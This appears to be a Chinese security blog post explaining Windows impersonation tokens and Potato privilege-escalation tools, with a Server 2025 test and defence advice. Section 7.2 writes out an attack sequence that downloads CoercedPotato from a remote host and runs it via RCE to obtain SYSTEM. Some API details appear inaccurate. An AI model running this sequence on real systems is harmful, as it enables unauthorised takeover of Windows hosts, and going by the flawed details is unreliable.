Sublarge

// 安全研究 · 2026-11-01

Windows 模拟令牌机制深度解析:从 SeImpersonatePrivilege 到 Server 2025 上的 Potato 实测

本文深入剖析从普通账户提权至nt authority\system的完整权限链,聚焦“模拟令牌”这一核心支点。基于Windows访问令牌结构与权限机制,解析SeImpersonatePrivilege与SeAssignPrimaryTokenPrivilege在服务账户中的默认授予逻辑,揭示土豆提权(Potato)家族攻击的底层原理。结合Windows Server 2025实测,拆解三种提权姿势成败根因,阐明模拟级别、令牌复制与权限启用的关键作用,展现现代Windows系统在安全加固下的攻防博弈。

一、绪论:一行 whoami 背后的整条权限链

任何一个从“普通服务账户”到 nt authority\system 的提权链路,几乎都绕不开同一个支点——模拟令牌(Impersonation Token)。当你在 Windows Server 上执行土豆提权,几秒钟后终端回显 nt authority\system 时,真正发生的事远比“一个工具跑通了”复杂得多:这里面横跨了访问令牌的结构、权限(privilege)的校验、模拟级别(impersonation level)的语义、RPC 认证回环,以及一台现代 Windows 系统为封堵这条路径所做的层层加固。

本文从微软官方文档对两个用户权利(user right)的定义出发,先讲清楚令牌与权限的底层结构,再深入模拟机制的实现细节,最后落到 Potato 家族,并结合 Windows Server 2025 上的实测数据,拆解三种姿势的成败根因。


二、访问令牌(Access Token)的基础

2.1 令牌是进程的安全身份

Windows 与 Unix 的最大差异之一,就是安全身份的载体。Unix 直接给进程挂 uid/gid,而 Windows 用一个复杂的数据结构——访问令牌(Access Token)——来承载进程或线程的安全上下文。每个进程在创建时都会关联一个“主令牌”(Primary Token),每个线程在特定时刻可以“切换”到另一个“模拟令牌”(Impersonation Token)来代表其他用户执行操作。

令牌在用户态是不可见的,它是内核对象(ObjectType 为 Token),由安全引用监视器(SRM, Security Reference Monitor)在内核中维护。用户态程序只能通过句柄来引用它。一个令牌对象内部大致包含以下几类信息:

  • 令牌用户(TokenUser):令牌所代表账户的 SID,例如 S-1-5-18 是 LocalSystem。
  • 令牌组(TokenGroups):该账户所属的所有组 SID 列表,包括强制组(Mandatory)、启用组(Enabled)与仅用于拒绝的组(Deny-Only)。每个组 SID 还带有一个属性标志,决定它是否可用于访问检查。
  • 特权(TokenPrivileges):该令牌被授予的权限集合,例如 SeImpersonatePrivilege、SeAssignPrimaryTokenPrivilege、SeDebugPrivilege 等,每条权限带有一个启用/禁用标志。
  • 完整性级别(TokenIntegrityLevel):用于限制进程能访问哪些对象的完整性标签(Integrity Level),如低完整性、中完整性、高完整性、系统完整性。
  • 安全描述符:令牌自身的 DACL/SACL,决定谁能打开、复制、修改这个令牌。
  • 身份验证信息:令牌的来源(Logon Session)、认证包(Kerberos/NTLM)、登录类型等。
  • 限制令牌(Restricted Token):由 CreateRestrictedToken 生成,禁用了部分 SID 和权限,用于沙箱化。

2.2 主令牌与模拟令牌:两种不同的“身份证”

这里有一个关键区分:

  • 主令牌(Primary Token):属于进程本身,是该进程安全身份的唯一来源。CreateProcess 时可以用 lpProcessAttributes 指定一个主令牌,让新进程以该令牌的身份运行。
  • 模拟令牌(Impersonation Token):属于线程,是线程“临时冒充”其他身份的手段。线程通过 SetThreadToken / ImpersonateLoggedOnUser / RpcImpersonateClient 等 API,把当前线程的执行上下文切换到另一个令牌上。

主令牌与模拟令牌在内核中是同一类对象,差异只在它们被使用的方式——这正是理解 Potato 攻击的关键:攻击者捕获到 SYSTEM 的令牌后,需要的只是 DuplicateTokenEx 把它做成可模拟或可主用的令牌,然后 SetThreadToken 挂到自己的线程上,或 CreateProcessWithToken 拉起一个 SYSTEM 进程。

微软文档对这两个用户权利的描述(KB 821546)从侧面印证了令牌的两个使用场景:

“Impersonate a client after authentication” user right(SeImpersonatePrivilege):授予后,允许代表该用户运行的程序去模拟一个客户端。这个安全设置用于防止未授权的服务器模拟通过 RPC 或命名管道连接它的客户端。

“Create global objects” user right(SeCreateGlobalPrivilege):创建全局文件映射(global file mapping)和符号链接对象(symbolic link objects)所需,但对会话级对象无需该权限。


三、权限(Privilege)机制

3.1 权限项的结构

令牌中的每个权限(privilege)不是简单的“有没有”布尔值,而是一个 LUID_AND_ATTRIBUTES 结构:

typedef struct _LUID_AND_ATTRIBUTES {
    LUID  Luid;        // 权限的唯一本地标识符
    DWORD Attributes;  // SE_PRIVILEGE_ENABLED / SE_PRIVILEGE_ENABLED_BY_DEFAULT 等
} LUID_AND_ATTRIBUTES;
c4 行

权限是否生效,取决于它的 Attributes 标志。一个令牌里可以“拥有”一个权限但未启用(disabled)。系统在执行受保护操作时,会调用 SeSinglePrivilegeCheck / PrivilegeCheck / NtPrivilegeCheck 来检查该权限在当前令牌中是否“已启用”。攻击者拿到一个含 SeImpersonatePrivilege 但未启用的令牌时,需要先 AdjustTokenPrivileges 把它启用——这也是很多提权工具的第一个动作。

3.2 SeImpersonatePrivilege:官方定义的授予范围

根据微软文档,SeImpersonatePrivilege(“Impersonate a client after authentication”)首次引入于 Windows 2000 SP4,默认授予:

  1. 本机 Administrators 组成员;
  2. 本机 Service 账户(即 LocalService S-1-5-19,默认亦授予 SeCreateGlobalPrivilege);
  3. 由 服务控制管理器(SCM) 启动的服务;
  4. 由 COM 基础结构 启动、并配置为以特定账户运行的 COM 服务器。

第 3、4 条是重中之重。它意味着:任何以“服务身份”运行的进程,天然自带模拟客户端的权限。这直接构成 Potato 攻击的前提——攻击者一旦拿到一个以服务账户运行、具备 SeImpersonatePrivilege 的进程(例如通过 Web 服务 RCE 落到 IIS AppPool 或某个自定义服务账户),就站在了通往 SYSTEM 的门口。

3.3 SeCreateGlobalPrivilege:另一个常被忽视的支点

SeCreateGlobalPrivilege(“Create global objects”)同样在 Win2K SP4 引入,默认授予 Administrators、SYSTEM 账户和 SCM 启动的服务。它的作用看似人畜无害——创建全局命名的文件映射和符号链接对象——但在特权提升路径里经常是被低估的拼图:如果某个高权限服务在创建全局对象时没有正确指定安全描述符,低权限进程(如果它也持有该权限)就可以预先在全局命名空间中“占坑”,诱导服务去打开攻击者构造的对象,形成“先到先得”的符号链接劫持。这份微软文档之所以把这两个权限放在同一篇 KB 里讨论,正是因为它们都诞生于 Win2K SP4 那次收紧安全设置的运动中,且经常一起出现在提权链路上。

3.4 权限在提权中的角色

要理解模拟令牌为何是提权支点,必须抓住一个核心事实:模拟本身不需要系统权限,但“模拟哪个令牌”与“模拟后能否转成主令牌”需要权限。具体而言:

  • SeImpersonatePrivilege:允许把别的令牌挂到自己的线程上进行模拟(ImpersonateLoggedOnUser 等)。
  • SeAssignPrimaryTokenPrivilege:允许用任意令牌作为主令牌创建进程(CreateProcessAsUser),这是从“模拟”跨到“以该身份常驻”的关键。

服务账户默认通常同时拿到 SeImpersonatePrivilege 与 SeAssignPrimaryTokenPrivilege(尤其 LocalService/LocalSystem)。这就是为什么 Potato 工具的“最后一跳”往往是用捕获的 SYSTEM 令牌 CreateProcessWithToken 起一个 cmd /c whoami——它需要把模拟令牌提升为可主用的令牌。

下图概括两个关键权限在链条中的分工:

flowchart TD
    subgraph P["令牌权限"]
        P1["SeImpersonatePrivilege<br/>允许线程模拟他人令牌"]
        P2["SeAssignPrimaryTokenPrivilege<br/>允许以任意令牌创建进程"]
    end
    P1 --> S1["ImpersonateNamedPipeClient<br/>挂载 SYSTEM 模拟令牌"]
    S1 --> S2["DuplicateTokenEx<br/>转为可主用令牌"]
    P2 --> S3["CreateProcessWithToken /<br/>CreateProcessAsUser"]
    S2 --> S3
    S3 --> R["SYSTEM 进程"]

四、模拟(Impersonation)机制深入

4.1 模拟级别:四档安全阶梯

模拟令牌除了身份信息外,还有一个极其重要的属性——模拟级别(Impersonation Level),它由令牌的 TOKEN_IMPERSONATION 决定。Windows 定义了四档(来自 MSDN 的 SECURITY_IMPERSONATION_LEVEL):

级别 名称 语义
1 SecurityAnonymous 服务器无法获取客户端任何身份信息
2 SecurityIdentification 服务器只能查询客户端身份,但不能以客户端身份执行操作
3 SecurityImpersonation 服务器本机可以以客户端身份执行操作
4 SecurityDelegation 服务器可代表客户端,包括跨网络向第三方服务发起认证

对模拟令牌的“能力上限”有两个关键限制:

  • SecurityImpersonation 级别的令牌只能在本地冒充身份,不能用来做跨主机的委派(Delegation)。要跨网络代表用户,令牌必须是 SecurityDelegation 级别,且账户需被标记为“受信任委派”(Trusted for Delegation)。
  • 服务的身份验证信息与认证协议决定了它能模拟到的级别——例如通过 Kerberos 获得的可委派令牌与通过 NTLM 获得的令牌,在委派能力上差异巨大。

Potato 攻击捕获的 SYSTEM 令牌,通常落在 SecurityImpersonation 或更高级别,足以在本地执行任意 SYSTEM 操作——这已经满足提权需求。

4.2 模拟的系统调用链

从 API 到内核,模拟大致经过这样的路径:

  • ImpersonateLoggedOnUser(hToken) → NtSetInformationThread(ThreadImpersonationToken):把线程的模拟令牌字段指向目标令牌。
  • SetThreadToken(NULL, hToken) → 同样落到 NtSetInformationThread。
  • RpcImpersonateClient(binding) / ImpersonateNamedPipeClient(pipeHandle):这是服务端模拟 RPC/命名管道客户端的标准方式。服务端在处理某个连接时调用它,把自己的线程切换到“当前正在连接的客户端”的身份——这正是 Potato 攻击想要“劫持”的那个操作,因为如果“客户端”其实是一个 SYSTEM 令牌的持有者,那么服务端线程就被切换到了 SYSTEM。
  • 结束后调用 RevertToSelf → NtSetInformationThread 把模拟令牌清空,恢复进程主令牌身份。

关键点在于:RpcImpersonateClient 的语义是“模拟对端”,即谁发起了这个 RPC 调用,服务端就模拟谁。如果攻击者能让SYSTEM 进程(如 RPCSS 中的某个服务上下文)主动以“客户端”身份回调攻击者预置的命名管道,那么攻击者在另一端通过 ImpersonateNamedPipeClient 就能捕获到一个 SYSTEM 令牌。Potato 的全部技巧,本质就是“让 SYSTEM 来连接我们”。

下图展示模拟调用的内核路径:

sequenceDiagram
    participant App as 攻击者进程
    participant API as 用户态 API
    participant KRN as 内核 (NtSetInformationThread)
    participant SRM as SRM
    App->>API: ImpersonateNamedPipeClient / SetThreadToken
    API->>KRN: NtSetInformationThread(ThreadImpersonationToken)
    KRN->>SRM: 校验 SeImpersonatePrivilege 与完整性级别
    SRM-->>KRN: 允许后线程切换模拟令牌
    KRN-->>App: 线程以对端身份执行
    App->>API: RevertToSelf
    API->>KRN: 清空模拟令牌

4.3 令牌的创建、复制与滥用原语

理解了模拟调用链,还要看清令牌的生命周期原语——攻击者正是在这几个 API 之间腾挪,才把一个“从管道里捕获的令牌”变成“可创建 SYSTEM 进程的令牌”:

  • DuplicateTokenEx:把现有令牌复制成指定类型(主令牌或模拟令牌)、指定模拟级别的新令牌。这是 Potato 的核心中转站——从命名管道捕获的令牌通常只是“模拟令牌”,要通过它创建进程,得先复制成主令牌。
  • CreateProcessWithToken / CreateProcessAsUser:用(复制后的)主令牌启动新进程。CreateProcessWithToken 要求调用者持有 SeImpersonatePrivilege,而 CreateProcessAsUser 要求持有 SeAssignPrimaryTokenPrivilege——两个权限又一次交汇在此。
  • OpenProcessToken / OpenThreadToken:打开自己或他人进程/线程的令牌句柄,是后续复制的入口;若持有 SeDebugPrivilege 甚至可以直接打开高权限进程的令牌。
  • SetTokenInformation:修改令牌的模拟级别、权限属性等;对完整性级别的调整被 Windows 严格限制为“只能降低”。

这组原语构成了一个清晰的滥用链条:捕获 → 复制(调级别)→ 设为主令牌 → 创建进程。Potato 只是负责链条的“捕获”与“复制”两步,最后一步交给系统原语完成。

下图给出这条原语链的完整流转:

flowchart LR
    A["命名管道捕获<br/>SYSTEM 模拟令牌"] --> B["DuplicateTokenEx<br/>调整类型与模拟级别"]
    B --> C["TokenPrimary<br/>主令牌"]
    C --> D["CreateProcessWithToken<br/>或 CreateProcessAsUser"]
    D --> E["SYSTEM 子进程"]
    A -.->|"可选:SeDebugPrivilege"| F["OpenProcessToken<br/>直接打开高权限令牌"]
    F --> B

4.4 完整性级别(Integrity Level)的约束

令牌的另一个能力边界来自 Windows Vista 引入的强制完整性控制(MIC)。令牌携带一个完整性级别标签,进程只允许“读”完整性级别不高于自身的对象,且不能对更高完整性对象执行写操作。这个机制给模拟令牌提权设了一道隐性闸门:

  • SYSTEM 令牌的完整性级别是“系统”(System),普通服务账户令牌通常是“高”(High)。
  • 当攻击者以 High 完整性令牌去模拟 System 令牌时,多数系统操作仍会被“对象完整性高于自身”拦下——除非捕获的令牌本身就以足够高的完整性被复制。

好在 Potato 捕获的正是 SYSTEM 令牌本身(完整性为 System),且服务账户进程的完整性通常已是 High,二者叠加后足以覆盖提权目标。这也解释了为什么此类攻击的前置条件必须是“服务身份 + SeImpersonate”:缺了其中任何一环,令牌就算捕获到了,也会被完整性机制或权限检查挡在门外。

4.5 模拟的前提:SeImpersonatePrivilege 的门槛

为什么“让 SYSTEM 连接我们”之后还要 SeImpersonate?因为 Windows 在 SeTokenImpersonationLevel 检查和权限检查上设了双重门槛:

  • 如果调用 ImpersonateNamedPipeClient 的进程没有 SeImpersonatePrivilege,且它当前的身份级别不够,系统会拒绝模拟(返回 ERROR_CANT_IMPERSONATE)。
  • 即便进程有该权限,模拟令牌的完整性级别也不能低于进程自身的完整性级别,否则被完整性机制拦下。

服务账户天然满足这两个前提,这正是 Potato 攻击的目标账户画像:以服务身份运行、具备 SeImpersonatePrivilege、完整性级别为系统或高。攻击者要做的只是从 RCE 把这个前提补全,然后等待 SYSTEM 上钩。


五、Token 能力边界:模拟之后能做什么

拿到一个 SYSTEM 模拟令牌,攻击者获得了什么?这取决于令牌的“能力范围”:

  1. 能做的:以 SYSTEM 身份访问受 DACL 保护的对象——文件、注册表、服务、命名管道、进程句柄等;以 SYSTEM 身份创建新进程(若同时具备 SeAssignPrimaryTokenPrivilege);读取/写入 SYSTEM 拥有的资源。
  2. 不能直接做的:跨越完整性级别的隔离(不能直接读写完整性标签更高的对象)、绕过内核对象管理器的句柄级强制、伪造一个不存在的安全上下文(令牌必须来自真实登录会话)。

所以“拿到 SYSTEM 令牌”并不等于“无限全权”,但对提权到 SYSTEM 的绝大多数目标(读取本地安全账户、执行命令、横向移动)而言已经足够。这也是为什么安全加固的重点之一就是减少 SeImpersonatePrivilege 的授予面、用受保护进程(PP)机制隔离高价值令牌。


六、Potato 家族:从 RottenPotato 到 CoercedPotato

6.1 统一原理:强制认证回环(Coerce to Authenticate)

Potato 家族几十个工具虽然名字各异,但核心套路高度一致,可归纳为三步:

  1. 预置:攻击者以服务账户身份,在本地创建一个命名管道服务器,监听某个 \\.\pipe\xxx,并注册一个用于 SMB/RPC 回调的“诱饵”路径。
  2. 强制认证:攻击者调用某个本地可用的 RPC/DCOM 接口,触发一个以 SYSTEM(通常运行在 RPCSS 上下文)身份运行的组件,去访问攻击者构造的 UNC 路径或命名管道路径。由于该路径指向攻击者监听点,SYSTEM 会以 NTLM 身份发起认证连接。
  3. 捕获并模拟:SYSTEM 的连接到达攻击者的命名管道后,攻击者调用 ImpersonateNamedPipeClient,此刻线程即切换到 SYSTEM;再 DuplicateTokenEx + CreateProcessWithToken 拉起 SYSTEM 进程。

下图把这三步统一原理可视化:

sequenceDiagram
    participant Atk as 攻击者(服务账户)
    participant Pipe as 命名管道服务器
    participant Coer as 强制认证接口 (EFSR/RPRN/OXID)
    participant Sys as SYSTEM 上下文 (RPCSS)

    Atk->>Pipe: 创建 \\.\pipe\<RANDOM> 并监听
    Atk->>Coer: 调用 EfsRpcOpenFileRaw(\\127.0.0.1/pipe/<RANDOM>)
    Coer->>Sys: 以 SYSTEM 身份发起 SMB/NTLM 回环
    Sys->>Pipe: 连接并认证
    Pipe->>Atk: ImpersonateNamedPipeClient 捕获令牌
    Atk->>Atk: DuplicateTokenEx + CreateProcessWithToken
    Note over Atk: 回显 nt authority\system

6.2 历史脉络:每一代补丁催生下一代绕过

  • RottenPotato(2016):利用 COM 的 Marshal/Unmarshal 一个 IID_IMarshal 对象,触发本机 CoGetInstanceFromIStorage 以 SYSTEM 身份连接攻击者监听的 COM 代理,进而拿到 SYSTEM 令牌。这是“模拟令牌提权”范式的鼻祖。
  • JuicyPotato(2018):把 RottenPotato 泛化为可配置 CLSID、COM server 的通用工具,针对当时未修补的 DCOM 实例化路径做自动化利用。
  • PrintSpoofer / EfsPotato(2020):转向打印后台服务(Spooler)与EFS(加密文件系统)RPC接口,用 RpcOpenPrinter / EfsRpcOpenFileRaw 强制 SYSTEM 回调攻击者命名管道。这里其实已经出现了 ms-efsr(EFS RPC)的影子。
  • Potato(2021):摆脱了对特定接口的依赖,直接伪造 Storage 对象的 OXID 解析,让 RPCSS 的 OXIDResolver 把攻击者指定的接口解析成攻击者监听的命名管道——全接口通用。
  • GodPotato(2022):在前者基础上系统化地滥用 DCOM/OXID 解析,配合 UnmarshalObject 触发本地 SYSTEM 的 CoCreateInstance,并对 DCOM 各接口做批量尝试,一度在 Windows Server 2019/2022 上非常稳定。
  • CoercedPotato(2023 起):把“强制认证”与“模拟”解耦,重点维护一批仍未被修补的强制认证接口(ms-efsr、ms-rprn 等),通过 -i 指定接口、-n 指定线程数来精确触发,规避“全接口 fuzz 太慢且易被超时杀掉”的问题。

下图展示这条演进脉络:

timeline
    title Potato 家族演进与修补对抗
    2016 : RottenPotato : COM Marshal/Unmarshal 伪造
    2018 : JuicyPotato : 可配置 CLSID 的 DCOM 利用
    2020 : PrintSpoofer / EfsPotato : 转向 Spooler 与 EFS RPC
    2021 : Potato : 伪造 OXID 解析,全接口通用
    2022 : GodPotato : 系统化 DCOM/OXID 滥用
    2023 : CoercedPotato : 解耦强制认证,精确指定接口

6.3 为什么 Server 2025 封死了 OXID,却封不死 EFSR

实测中观察到的现象,本质上是微软对不同攻击面的修补进度不一致:

  • OXID 解析技巧(GodPotato 依赖的路径):Windows Server 2025 加强了 UnmarshalObject 与 OXIDResolver 对本地伪造对象的校验,导致 GodPotato 在尝试解析伪造的 OXID 时直接返回 0x8007000e(E_OUTOFMEMORY,即解析失败/拒绝)。这说明微软已经把“DCOM/OXID 本地伪造”这一整条路径按住了。
  • EFS RPC(EfsRpcOpenFileRaw):这是 EFS 服务为远程管理加密文件而暴露的合法业务接口,属于 ms-efsr RPC 协议。由于 EFS 本身需要支持管理员远程操作,它必须接受“以高权限身份执行文件操作”的调用,因此很难被整体移除。它同样会把调用者(SYSTEM 上下文)导向攻击者提供的 UNC 路径,触发 NTLM 回环——而这一环在 Server 2025 上没有被修补。

换句话说,2025 封掉的是“伪造一个本地 COM 对象让 SYSTEM 来解析它”这条合成路径,但 EFSR 走的是真实的、业务必须保留的 RPC 接口,微软无法在不破坏 EFS 管理功能的前提下把它封死,于是它成了“夹缝中的稳定入口”。

下图对比两条路径在 Server 2025 上的命运:

flowchart TD
    A["强制 SYSTEM 回环认证"] --> B{"入口类型"}
    B -->|"合成路径"| C["DCOM/OXID 本地伪造<br/>GodPotato"]
    B -->|"真实业务接口"| D["ms-efsr EfsRpcOpenFileRaw"]
    C --> E["Server 2025 已加固<br/>UnmarshalObject 返回 0x8007000e"]
    D --> F["业务必须保留<br/>未修补,仍可触发回环"]
    E --> G["❌ 失败"]
    F --> H["✅ 捕获 SYSTEM 令牌"]

七、Windows Server 2025 实测:三种姿势的成败拆解

7.1 实验环境与结论总表

环境:Windows Server 2025;前置:已通过 Web 服务 RCE 获得一个具备 SeImpersonatePrivilege 的服务账户。

工具 / 姿势 结果 失败根因
CoercedPotato(全函数 fuzz,默认模式) ❌ 卡死 依次尝试 RPRN×2 + EFSR×9,共 11 个函数,总耗时超过 RCE 通道 110s 的请求超时,进程被杀死,尚未等到任一接口成功
GodPotato ❌ UnmarshalObject: 0x8007000e OXID 解析技巧已被 Server 2025 修补,本地伪造 COM 对象被拒绝
CoercedPotato -i ms-efsr -n 0(单函数) ✅ SYSTEM 直接指定 EfsRpcOpenFileRaw,30 秒内完成,拿到 nt authority\system

7.2 成功姿势的完整回放

# 靶机上(经 RCE):
curl -s -o %TEMP%\cp.exe http://192.168.111.1:8001/CoercedPotato_x64.exe
%TEMP%\cp.exe -i ms-efsr -n 0 -c "cmd /c whoami"

[*] Invoking EfsRpcOpenFileRaw with target path: \\127.0.0.1/pipe/<RANDOM>\C$\
[PIPESERVER] A client connected!
** Exploit completed **

nt authority\system                ← SYSTEM
text9 行

逐行拆解这背后的机制:

  1. -i ms-efsr 让工具仅使用 EfsRpcOpenFileRaw 这一个强制认证函数,把攻击面收敛到确定可用的单一接口,避免全函数 fuzz 的耗时。
  2. 工具以服务账户身份创建命名管道服务器,监听 \\.\pipe\<RANDOM>,并把目标路径伪装成 \\127.0.0.1/pipe/<RANDOM>\C$\——一个指向本机的 UNC 路径,让 SYSTEM 回环到攻击者管道。
  3. 调用 EfsRpcOpenFileRaw 后,EFS 服务(运行在 RPCSS/SYSTEM 上下文中)被诱导去访问该 UNC 路径,以 NTLM 身份向攻击者的命名管道发起认证。
  4. 攻击者管道收到连接,调用 ImpersonateNamedPipeClient,线程瞬间切换为 SYSTEM。
  5. -n 0(线程数/并发参数设为 0 或单线程)保证捕获时机稳定,避免并发竞态。
  6. 用捕获的 SYSTEM 令牌 CreateProcessWithToken 启动 cmd /c whoami,回显 nt authority\system。

7.3 三者的失败与成功,指向同一条原理

把表格横过来看,就能得出一个比“哪个工具好用”更深一层的结论:

  • 全函数 fuzz 之死,是工程问题而非原理问题:CoercedPotato 默认按 RPRN×2 + EFSR×9 的顺序逐个尝试,其中多个函数在 Server 2025 上要么被修补、要么不触发,白白消耗时间,最终撞上 RCE 通道 110s 的超时上限。工具没坏,是它把宝贵的攻击时间浪费在了无效函数上。
  • GodPotato 之死,是原理被按住了:OXID/DCOM 伪造路径被 2025 系统性修补,UnmarshalObject 直接失败——这条路已经走不通。
  • EFSR 之活,是原理依然成立:只要有一个仍会强制 SYSTEM 认证回环的合法 RPC 接口存在,SeImpersonate 模拟这条链路就永远可用。EfsRpcOpenFileRaw 正是当下 Server 2025 上那个“合法且未修补”的支点。

结论:Potato 攻击的真正生命力不在某个工具,而在于“是否存在一个仍可诱导 SYSTEM 进行本地 NTLM 认证回环的接口”。 只要这个条件成立,配合 SeImpersonatePrivilege,SYSTEM 令牌就是可捕获的。这也是为什么每次微软修补一个接口,安全研究者就立刻寻找下一个——不是换工具,是换“强制认证入口”。


八、防御与检测

理解了原理,防御就变得有的放矢。

8.1 最小化 SeImpersonatePrivilege 授予面

  • 所有 Web 应用池、中间件服务、自研服务,尽量运行在专用低权限账户而非 LocalService/LocalSystem。
  • 审计哪些账户持有 SeImpersonatePrivilege 与 SeAssignPrimaryTokenPrivilege(whoami /priv、secedit、PowerShell Get-AccountAuthorization 或安全策略),只保留业务必需的。
  • 对必须持有该权限的服务,用受保护进程(Protected Process Light) 或更强的对象隔离保护其令牌,使低权限进程无法 DuplicateToken。

8.2 阻断强制认证回环

  • 启用 SMB 签名 / 强制 SMB 加密,使命名管道回环认证难以被中间人捕获;但要注意本机回环(127.0.0.1)常常绕过部分网络层防护。
  • 监控对 ms-efsr、ms-rprn(Spooler)、OXIDResolver 等接口的异常高频调用——攻击者触发强制认证时会留下 RPC 调用痕迹。
  • 关闭不需要的打印服务(Spooler)以收缩攻击面;对 EFS 远程管理接口,限制仅允许必要的管理源。

8.3 检测命名管道回环与令牌模拟

  • 开启 进程创建 / 令牌操作审计(Audit Token Manipulation、Audit Process Creation),对“服务账户进程创建 cmd/powershell”这一反常行为告警。
  • 检测 \\.\pipe\<RANDOM> 形式、指向本机 127.0.0.1 的 UNC 路径、以及命名管道上的异常认证连接(NTLM 认证来源为 SYSTEM)。
  • 监控 AdjustTokenPrivileges 对 SeImpersonatePrivilege 的启用以及 ImpersonateNamedPipeClient 的异常调用,与 EDR 的 RPC/管道行为基线结合。

九、结语

从微软文档里那两行看似平淡的用户权利定义——SeImpersonatePrivilege 允许服务模拟客户端、SeCreateGlobalPrivilege 允许创建全局对象——延伸出来的,是一整条贯通内核令牌结构、权限校验、模拟级别、RPC 认证回环与历代修补攻防的安全主线。

Windows Server 2025 上的实测,恰好是这条主线最生动的注脚:GodPotato 的 0x8007000e 告诉我们“合成路径”已被堵死;全函数 fuzz 的 110s 超时告诉我们“工程策略”同样决定成败;而 EfsRpcOpenFileRaw 的 30 秒稳定 SYSTEM 则提醒我们——只要 Windows 仍需要“以 SYSTEM 上下文向本地 RPC 接口发起回环认证”这一合法能力,SeImpersonate 模拟令牌提权就不会真正消失,它只是从一个入口迁移到了下一个入口。

理解模拟令牌,不只是理解一个提权工具,而是理解 Windows 安全模型中最核心的“身份借用”哲学——以及为什么每一次补丁,都会在某个角落留下新的夹缝。

参考文章:Microsoft Learn —— SeImpersonatePrivilege and SeCreateGlobalPrivilege - Windows Server(KB 821546)

原文 https://blog.csdn.net/2301_79518550/article/details/169741464